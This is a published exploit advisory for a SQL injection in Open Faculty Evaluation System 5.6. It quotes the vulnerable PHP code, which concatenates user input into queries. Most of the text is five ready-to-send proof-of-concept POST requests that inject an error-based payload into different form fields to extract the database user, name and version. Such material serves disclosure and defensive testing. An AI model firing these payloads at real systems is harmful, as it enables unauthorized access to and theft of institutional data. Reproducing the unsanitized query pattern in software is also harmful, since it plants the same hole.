what you don't know can hurt you

Open Faculty Evaluation System 5.6 SQL Injection

Open Faculty Evaluation System 5.6 SQL Injection
Posted Oct 29, 2018
Authored by Ihsan Sencan

Open Faculty Evaluation System version 5.6 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 1fe64ea101902edffbfc5d556e7c04d6

Open Faculty Evaluation System 5.6 SQL Injection

Change Mirror Download
# Exploit Title: Open Faculty Evaluation System 5.6 - 'batch_name' SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://openfacultyeval.sourceforge.io/
# Software Link: https://sourceforge.net/projects/openfacultyeval/files/feedback_php5_6.zip/download
# Version: Php 5.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

/[PATH]/submit_feedback.php
#....
#17 if(isset($_POST['submit']))
#18 {
#19 //feedback no
#20 $check_feedback_no="select * from batch_master where batch_id='".$_POST['']."'";
#21 $res_feedback_no=mysql_query($check_feedback_no) or die(mysql_error());
#22 $result=mysql_fetch_array($res_feedback_no);
#23
#24
#25 $sql="select * from feedback_master where roll_no='".$_POST['roll_no']."' and b_id='".$_POST['b_name']."' and f_id='".$_POST['fac_name']."' and sub_id='".$_POST['sub_name']."' and sem_id='".$_POST['sem_name']."' and batch_id='".$_POST['batch_name']."' and division_id='".$_POST['division']."' and feedback_no='".$result['feedback_no']."'";
#26 //echo $sql;
#27 $res=mysql_query($sql) or die(mysql_error());
#....

# POC:
# 1)
# http://localhost/[PATH]/submit_feedback.php
#
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
batch_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 01:02:53 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 235
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 2)
# http://localhost/[PATH]/submit_feedback.php
#
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
b_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 01:15:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1204
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 3)
# http://localhost/[PATH]/submit_feedback.php
#
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
sem_name=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 01:19:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1202
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 4)
# http://localhost/[PATH]/submit_feedback.php
#
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
division=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 01:23:11 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1202
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC:
# 5)
# http://localhost/[PATH]/submit_feedback.php
#
POST /[PATH]/submit_feedback.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 279
roll_no=2'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'&submit=Submit
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 01:29:20 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 1203
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

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